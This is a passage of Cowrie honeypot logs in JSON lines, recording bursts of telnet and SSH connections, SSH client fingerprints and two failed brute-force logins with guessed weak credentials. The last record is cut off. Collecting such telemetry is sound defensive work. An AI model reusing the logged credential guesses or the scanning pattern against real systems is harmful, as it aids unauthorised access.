{"eventid":"cowrie.session.connect","src_ip":"57.128.88.161","src_port":48286,"dst_ip":"159.203.135.109","dst_port":23,"session":"209ad441f5b0","protocol":"telnet","message":"New connection: 57.128.88.161:48286 (159.203.135.109:23) [session: 209ad441f5b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:23.339488Z"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.88.161","src_port":48300,"dst_ip":"159.203.135.109","dst_port":23,"session":"d3a0585f4255","protocol":"telnet","message":"New connection: 57.128.88.161:48300 (159.203.135.109:23) [session: d3a0585f4255]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:23.838379Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":57306,"dst_ip":"159.203.135.109","dst_port":23,"session":"60de450e3bd8","protocol":"telnet","message":"New connection: 209.159.146.115:57306 (159.203.135.109:23) [session: 60de450e3bd8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:24.189799Z"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.88.161","src_port":48312,"dst_ip":"159.203.135.109","dst_port":23,"session":"663e3bc9c2af","protocol":"telnet","message":"New connection: 57.128.88.161:48312 (159.203.135.109:23) [session: 663e3bc9c2af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:24.248502Z"}
{"eventid":"cowrie.session.closed","duration":30.589500427246094,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:25.036619Z","src_ip":"57.128.88.161","session":"8b0a8a3162c3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.014230966567993,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:25.154043Z","src_ip":"57.128.88.161","session":"7ac582e11df8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.677109003067017,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:25.253172Z","src_ip":"209.159.146.115","session":"9068524b8087","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.8154878616333,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:25.899964Z","src_ip":"209.159.146.115","session":"e4292598aa84","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":35046,"dst_ip":"159.203.135.109","dst_port":23,"session":"957c69fcaed2","protocol":"telnet","message":"New connection: 209.159.146.115:35046 (159.203.135.109:23) [session: 957c69fcaed2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:25.964844Z"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.88.161","src_port":48322,"dst_ip":"159.203.135.109","dst_port":23,"session":"4565ddd2d88a","protocol":"telnet","message":"New connection: 57.128.88.161:48322 (159.203.135.109:23) [session: 4565ddd2d88a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:26.302342Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":36272,"dst_ip":"159.203.135.109","dst_port":23,"session":"771393d25b7a","protocol":"telnet","message":"New connection: 209.159.146.115:36272 (159.203.135.109:23) [session: 771393d25b7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:26.344511Z"}
{"eventid":"cowrie.session.closed","duration":33.58102297782898,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:26.372106Z","src_ip":"209.159.146.115","session":"32c09ee0ae97","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.86825895309448,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:26.888206Z","src_ip":"209.159.146.115","session":"799244c0628c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.09715700149536,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:27.191476Z","src_ip":"57.128.88.161","session":"bbbd8d4d3c79","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.2018563747406,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:27.995893Z","src_ip":"57.128.88.161","session":"8a1955c2710a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.366509199142456,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:28.262778Z","src_ip":"209.159.146.115","session":"8d1395a3e44e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.36735510826111,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:28.494256Z","src_ip":"57.128.88.161","session":"fd5fd42be4d1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.59915494918823,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:28.704653Z","src_ip":"209.159.146.115","session":"6269b0937630","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.88.161","src_port":48324,"dst_ip":"159.203.135.109","dst_port":23,"session":"2504f09fdb36","protocol":"telnet","message":"New connection: 57.128.88.161:48324 (159.203.135.109:23) [session: 2504f09fdb36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:29.126833Z"}
{"eventid":"cowrie.session.closed","duration":30.44834017753601,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:29.130691Z","src_ip":"57.128.88.161","session":"ce23fa9ec4e3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.661297082901,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:29.258329Z","src_ip":"57.128.88.161","session":"8ada6dd22fe9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":54646,"dst_ip":"159.203.135.109","dst_port":23,"session":"ac25f37a53b8","protocol":"telnet","message":"New connection: 209.159.146.115:54646 (159.203.135.109:23) [session: ac25f37a53b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:29.740813Z"}
{"eventid":"cowrie.session.closed","duration":30.779481887817383,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:30.087577Z","src_ip":"57.128.88.161","session":"3bea32ef530d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.88.161","src_port":48338,"dst_ip":"159.203.135.109","dst_port":23,"session":"e8d2d493cea2","protocol":"telnet","message":"New connection: 57.128.88.161:48338 (159.203.135.109:23) [session: e8d2d493cea2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:30.365225Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":60742,"dst_ip":"159.203.135.109","dst_port":23,"session":"7be3fa2ac332","protocol":"telnet","message":"New connection: 209.159.146.115:60742 (159.203.135.109:23) [session: 7be3fa2ac332]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:31.114338Z"}
{"eventid":"cowrie.session.closed","duration":32.78256559371948,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:31.355873Z","src_ip":"209.159.146.115","session":"f13d1661ee9e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":36356,"dst_ip":"159.203.135.109","dst_port":23,"session":"f038581069c3","protocol":"telnet","message":"New connection: 209.159.146.115:36356 (159.203.135.109:23) [session: f038581069c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:31.898384Z"}
{"eventid":"cowrie.session.closed","duration":35.19133424758911,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:32.484514Z","src_ip":"209.159.146.115","session":"87272ae766d7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":39070,"dst_ip":"159.203.135.109","dst_port":23,"session":"bfbbbfb47244","protocol":"telnet","message":"New connection: 209.159.146.115:39070 (159.203.135.109:23) [session: bfbbbfb47244]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:32.862166Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":44972,"dst_ip":"159.203.135.109","dst_port":23,"session":"93ebcd9d78fa","protocol":"telnet","message":"New connection: 209.159.146.115:44972 (159.203.135.109:23) [session: 93ebcd9d78fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:33.893983Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":46830,"dst_ip":"159.203.135.109","dst_port":23,"session":"283135cc5081","protocol":"telnet","message":"New connection: 209.159.146.115:46830 (159.203.135.109:23) [session: 283135cc5081]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:34.467486Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":36240,"dst_ip":"159.203.135.109","dst_port":22,"session":"9dfe839409d4","protocol":"ssh","message":"New connection: 159.203.92.129:36240 (159.203.135.109:22) [session: 9dfe839409d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:34.843360Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:34.848081Z","src_ip":"159.203.92.129","session":"9dfe839409d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:34.852362Z","src_ip":"159.203.92.129","session":"9dfe839409d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"angel","password":"111111","message":"login attempt [angel/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:34.872814Z","src_ip":"159.203.92.129","session":"9dfe839409d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.210304737091064,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:34.977183Z","src_ip":"209.159.146.115","session":"cd8ba108121d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.440852642059326,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:35.469092Z","src_ip":"209.159.146.115","session":"60d9d371913f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":51028,"dst_ip":"159.203.135.109","dst_port":23,"session":"82c317a3f1e4","protocol":"telnet","message":"New connection: 209.159.146.115:51028 (159.203.135.109:23) [session: 82c317a3f1e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:35.727926Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:35.879337Z","src_ip":"159.203.92.129","session":"9dfe839409d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.49752068519592,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:36.954372Z","src_ip":"209.159.146.115","session":"2c5501b91f92","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.88.161","src_port":45298,"dst_ip":"159.203.135.109","dst_port":23,"session":"ddfc602cfb26","protocol":"telnet","message":"New connection: 57.128.88.161:45298 (159.203.135.109:23) [session: ddfc602cfb26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:37.472611Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":37940,"dst_ip":"159.203.135.109","dst_port":23,"session":"c29caf67691a","protocol":"telnet","message":"New connection: 209.159.146.115:37940 (159.203.135.109:23) [session: c29caf67691a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:39.848530Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":43180,"dst_ip":"10.17.0.5","dst_port":22,"session":"e17d6f8e8311","protocol":"ssh","message":"New connection: 80.94.92.182:43180 (10.17.0.5:22) [session: e17d6f8e8311]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:39.959677Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:40.140509Z","src_ip":"80.94.92.182","session":"e17d6f8e8311","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:40.144302Z","src_ip":"80.94.92.182","session":"e17d6f8e8311","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":39870,"dst_ip":"159.203.135.109","dst_port":23,"session":"dee1b2979b03","protocol":"telnet","message":"New connection: 209.159.146.115:39870 (159.203.135.109:23) [session: dee1b2979b03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:40.421863Z"}
{"eventid":"cowrie.session.closed","duration":31.398582696914673,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:40.654798Z","src_ip":"57.128.88.161","session":"33a7a3ccd097","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.43065404891968,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:40.863228Z","src_ip":"209.159.146.115","session":"350fbb87ba2e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":42288,"dst_ip":"159.203.135.109","dst_port":23,"session":"366206a9a7b4","protocol":"telnet","message":"New connection: 209.159.146.115:42288 (159.203.135.109:23) [session: 366206a9a7b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:40.882131Z"}
{"eventid":"cowrie.session.closed","duration":31.30005192756653,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:40.950131Z","src_ip":"57.128.88.161","session":"f605ec707a42","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123","message":"login attempt [sol/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:41.213692Z","src_ip":"80.94.92.182","session":"e17d6f8e8311","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.670623540878296,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:41.257345Z","src_ip":"209.159.146.115","session":"8d01b58542be","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.24279260635376,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:41.277758Z","src_ip":"209.159.146.115","session":"64e9abdc50f5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":43736,"dst_ip":"159.203.135.109","dst_port":23,"session":"73da0713e0e3","protocol":"telnet","message":"New connection: 209.159.146.115:43736 (159.203.135.109:23) [session: 73da0713e0e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:41.432757Z"}
{"eventid":"cowrie.session.closed","duration":35.23597741127014,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:42.240279Z","src_ip":"209.159.146.115","session":"2e79d830aa05","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:42.398374Z","src_ip":"80.94.92.182","session":"e17d6f8e8311","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":51224,"dst_ip":"159.203.135.109","dst_port":23,"session":"5b6b21e5bf7a","protocol":"telnet","message":"New connection: 209.159.146.115:51224 (159.203.135.109:23) [session: 5b6b21e5bf7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:42.703898Z"}
{"eventid":"cowrie.session.closed","duration":32.93988847732544,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:43.980100Z","src_ip":"209.159.146.115","session":"14415b8dc721","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.620346784591675,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:45.062026Z","src_ip":"57.128.88.161","session":"4ba0e6801f2c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.565125465393066,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:45.094814Z","src_ip":"209.159.146.115","session":"23ef35c94731","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.816229104995728,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:45.504757Z","src_ip":"209.159.146.115","session":"a66bf9b6b0b6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":36900,"dst_ip":"159.203.135.109","dst_port":23,"session":"d440b06db012","protocol":"telnet","message":"New connection: 209.159.146.115:36900 (159.203.135.109:23) [session: d440b06db012]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:45.951121Z"}
{"eventid":"cowrie.session.closed","duration":30.860679864883423,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:46.255549Z","src_ip":"57.128.88.161","session":"f41944aecf9d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.370559215545654,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:47.077757Z","src_ip":"209.159.146.115","session":"e4f8e4035377","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":41460,"dst_ip":"159.203.135.109","dst_port":23,"session":"aa8abf40ee31","protocol":"telnet","message":"New connection: 209.159.146.115:41460 (159.203.135.109:23) [session: aa8abf40ee31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:47.167953Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.13.24.118","src_port":45426,"dst_ip":"159.203.135.109","dst_port":22,"session":"937ea88c00a1","protocol":"ssh","message":"New connection: 186.13.24.118:45426 (159.203.135.109:22) [session: 937ea88c00a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:47.593625Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:47.597687Z","src_ip":"186.13.24.118","session":"937ea88c00a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"lan